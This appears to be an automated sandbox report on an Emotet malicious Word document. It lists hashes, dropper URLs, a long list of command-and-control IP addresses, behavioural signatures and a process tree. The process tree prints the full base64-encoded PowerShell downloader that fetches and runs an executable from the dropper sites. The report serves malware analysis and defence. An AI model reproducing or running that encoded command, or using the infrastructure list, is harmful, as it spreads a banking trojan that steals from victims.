emotet | 8f9e26fb0e2d9ba0e599417792feaebd1050fccd166c6daa1df3ece7c0027ff9

Analysis

max time kernel
135s
max time network
132s
platform
windows10_x64
resource
win10
submitted
14/08/2020, 20:44

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General

Target
emotet_e2_8f9e26fb0e2d9ba0e599417792feaebd1050fccd166c6daa1df3ece7c0027ff9_2020-08-14__204211._doc.doc
Size 231KB
Sample200814-vaj15bp6rs
SHA256 8f9e26fb0e2d9ba0e599417792feaebd1050fccd166c6daa1df3ece7c0027ff9
MD5 fed7e90b4d4b155956938312673c30bd
SHA1 946970206954f18fbb0ce74a02307d6414b93fd2
SHA512 3f8463fc597c57f067de29719b511e078b796173c0374f020c465899c9df073279d595a80a68db3fb0da8a493de420b422271d07506980295ff336cc1ba10802
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://construction.maitriinfosoft.com/9efesfwep/en99_b_96ukm/
exe.dropper
http://tocro.net/fmc66/g3h_xw_epkgkl0y/
exe.dropper
http://duolife-partner.com/wp-content/h7_t5l_xkezzpi/
exe.dropper
http://neukenmetsterren.nl/wp-admin/tc_8o8_fw6/
exe.dropper
http://gh.xahpyy120.com/phpmyadmin/h_1u_ta2d6cpl/

Extracted

Family

emotet

75.139.38.211:80
69.30.203.214:8080
67.205.85.243:8080
190.160.53.126:80
183.101.175.193:80
137.59.187.107:8080
168.235.67.138:7080
209.143.35.232:80
180.92.239.110:8080
167.86.90.214:8080
85.66.181.138:80
95.213.236.64:8080
83.169.36.251:8080
157.245.99.39:8080
79.98.24.39:8080
70.167.215.250:8080
93.51.50.171:8080
174.102.48.180:80
24.179.13.119:80
41.60.200.34:80
188.83.220.2:443
91.211.88.52:7080
24.43.99.75:80
47.144.21.12:443
37.187.72.193:8080
104.131.44.150:8080
199.101.86.142:8080
116.203.32.252:8080
85.152.162.105:80
83.110.223.58:443
78.24.219.147:8080
62.75.141.82:80
152.168.248.128:443
157.147.76.151:80
24.137.76.62:80
121.124.124.40:7080
62.138.26.28:8080
173.62.217.22:443
107.185.211.16:80
103.86.49.11:8080
113.160.130.116:8443
72.12.127.184:443
181.211.11.242:80
204.197.146.48:80
176.111.60.55:8080
104.236.246.93:8080
97.82.79.83:80
74.208.45.104:8080
87.106.136.232:8080
209.141.54.221:8080
169.239.182.217:8080
110.145.77.103:80
222.214.218.37:4143
165.165.171.160:8080
47.146.117.214:80
139.59.60.244:8080
203.153.216.189:7080
5.196.74.210:8080
37.139.21.175:8080
201.173.217.124:443
47.153.182.47:80
2.58.16.85:7080
109.116.214.124:443
200.41.121.90:80
95.179.229.244:8080
142.105.151.124:443
5.39.91.110:7080
185.94.252.104:443
189.212.199.126:443
109.74.5.95:8080
37.70.8.161:80
190.55.181.54:443
61.19.246.238:443
74.120.55.163:80
85.105.205.77:8080
181.230.116.163:80
104.131.11.150:443
81.2.235.111:8080
203.117.253.142:80
24.233.112.152:80
47.146.32.175:80
76.27.179.47:80
87.106.139.101:8080
46.105.131.79:8080
139.130.242.43:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	816	3892	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2072-18-0x00000000022F0000-0x00000000022FC000-memory.dmp	emotet
behavioral2/memory/2072-18-0x00000000022F0000-0x00000000022FC000-memory.dmp	emotet
behavioral2/memory/2084-21-0x0000000000760000-0x000000000076C000-memory.dmp	emotet
behavioral2/memory/2084-21-0x0000000000760000-0x000000000076C000-memory.dmp	emotet

Blacklisted process makes network request 3 IoCs

flow	pid	Process
14	816	powersheLL.exe
16	816	powersheLL.exe
27	816	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2072	Wxnd.exe
2084	msvcrt40.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\fdprint\msvcrt40.exe	Wxnd.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
816	powersheLL.exe
816	powersheLL.exe
816	powersheLL.exe
2084	msvcrt40.exe
2084	msvcrt40.exe
2084	msvcrt40.exe
2084	msvcrt40.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	816	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
3676	WINWORD.EXE
2072	Wxnd.exe
2072	Wxnd.exe
2084	msvcrt40.exe
2084	msvcrt40.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 816 wrote to memory of 2072	816	powersheLL.exe	75
PID 816 wrote to memory of 2072	816	powersheLL.exe	75
PID 816 wrote to memory of 2072	816	powersheLL.exe	75
PID 2072 wrote to memory of 2084	2072	Wxnd.exe	76
PID 2072 wrote to memory of 2084	2072	Wxnd.exe	76
PID 2072 wrote to memory of 2084	2072	Wxnd.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_8f9e26fb0e2d9ba0e599417792feaebd1050fccd166c6daa1df3ece7c0027ff9_2020-08-14__204211._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3676

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAHMAOQBrAHcAdgBoAD0AJwBYAGUANQB5ADkAdABqACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAGMAVQByAGkAdAB5AHAAcgBPAGAAVABPAEMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABWAGgAawB6AHUAMAB0ACAAPQAgACcAVwB4AG4AZAAnADsAJABEADYAagB3AGUAcgAzAD0AJwBMAF8AagBmADgANgB4ACcAOwAkAE0AcQBkAGoAOQA1AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABWAGgAawB6AHUAMAB0ACsAJwAuAGUAeABlACcAOwAkAEwAbgA5ADcAaQB1AG4APQAnAEEAMAA1AGwAMABwADMAJwA7ACQARgB1AGQAdgBzAGkAZQA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAHQALgB3AEUAYgBDAGwASQBFAE4AdAA7ACQATAAyAGkAdwAwADEAegA9ACcAaAB0AHQAcAA6AC8ALwBjAG8AbgBzAHQAcgB1AGMAdABpAG8AbgAuAG0AYQBpAHQAcgBpAGkAbgBmAG8AcwBvAGYAdAAuAGMAbwBtAC8AOQBlAGYAZQBzAGYAdwBlAHAALwBlAG4AOQA5AF8AYgBfADkANgB1AGsAbQAvACoAaAB0AHQAcAA6AC8ALwB0AG8AYwByAG8ALgBuAGUAdAAvAGYAbQBjADYANgAvAGcAMwBoAF8AeAB3AF8AZQBwAGsAZwBrAGwAMAB5AC8AKgBoAHQAdABwADoALwAvAGQAdQBvAGwAaQBmAGUALQBwAGEAcgB0AG4AZQByAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AaAA3AF8AdAA1AGwAXwB4AGsAZQB6AHoAcABpAC8AKgBoAHQAdABwADoALwAvAG4AZQB1AGsAZQBuAG0AZQB0AHMAdABlAHIAcgBlAG4ALgBuAGwALwB3AHAALQBhAGQAbQBpAG4ALwB0AGMAXwA4AG8AOABfAGYAdwA2AC8AKgBoAHQAdABwADoALwAvAGcAaAAuAHgAYQBoAHAAeQB5ADEAMgAwAC4AYwBvAG0ALwBwAGgAcABtAHkAYQBkAG0AaQBuAC8AaABfADEAdQBfAHQAYQAyAGQANgBjAHAAbAAvACcALgAiAHMAcABsAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBxADQANQBpAGwAZgA9ACcAVgBxAGUAOAA2AHoAMwAnADsAZgBvAHIAZQBhAGMAaAAoACQARABwADUAbABzAG4AeAAgAGkAbgAgACQATAAyAGkAdwAwADEAegApAHsAdAByAHkAewAkAEYAdQBkAHYAcwBpAGUALgAiAGQAbwBXAGAATgBMAGAAbwBhAGAARABGAGkAbABFACIAKAAkAEQAcAA1AGwAcwBuAHgALAAgACQATQBxAGQAagA5ADUAdwApADsAJABYAGoAcAB1AHYAaQA1AD0AJwBOAHEAdwBnAHkAcQA0ACcAOwBJAGYAIAAoACgALgAoACcARwAnACsAJwBlAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQATQBxAGQAagA5ADUAdwApAC4AIgBMAEUATgBgAGcAVABIACIAIAAtAGcAZQAgADIAMAAwADYANAApACAAewAuACgAJwBJAG4AdgAnACsAJwBvAGsAZQAtACcAKwAnAEkAJwArACcAdABlAG0AJwApACgAJABNAHEAZABqADkANQB3ACkAOwAkAEcAbAByAGIANQAyAGUAPQAnAFUAYwA0AHEAcgAwAG0AJwA7AGIAcgBlAGEAawA7ACQAVABwAHoAXwBpAHAAdwA9ACcARgBsADQAMQAwAHIAbgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABDAHkAdwBuAGwAYQBjAD0AJwBJAGwANABnAGIAZgBiACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:816
- C:\Users\Admin\AppData\Local\Temp\Wxnd.exe
  "C:\Users\Admin\AppData\Local\Temp\Wxnd.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2072
- - C:\Windows\SysWOW64\fdprint\msvcrt40.exe
    "C:\Windows\SysWOW64\fdprint\msvcrt40.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2084

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/816-13-0x0000020099750000-0x0000020099751000-memory.dmp

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memory/816-14-0x0000020099A40000-0x0000020099A41000-memory.dmp

Download

memory/816-12-0x00007FFD586D0000-0x00007FFD590BC000-memory.dmp

Download

memory/2072-18-0x00000000022F0000-0x00000000022FC000-memory.dmp

Download

memory/2084-21-0x0000000000760000-0x000000000076C000-memory.dmp

Download

memory/3676-7-0x000002798428C000-0x000002798429D000-memory.dmp

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memory/3676-11-0x0000027981B5C000-0x0000027981B79000-memory.dmp

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memory/3676-10-0x0000027981B5C000-0x0000027981B79000-memory.dmp

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memory/3676-9-0x000002798428C000-0x000002798429D000-memory.dmp

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memory/3676-8-0x000002798428C000-0x000002798429D000-memory.dmp

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memory/3676-0-0x00007FFD60230000-0x00007FFD608F6000-memory.dmp

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memory/3676-6-0x000002798428C000-0x000002798429D000-memory.dmp

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memory/3676-5-0x000002798428C000-0x000002798429D000-memory.dmp

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memory/3676-1-0x0000027983C90000-0x0000027983C94000-memory.dmp

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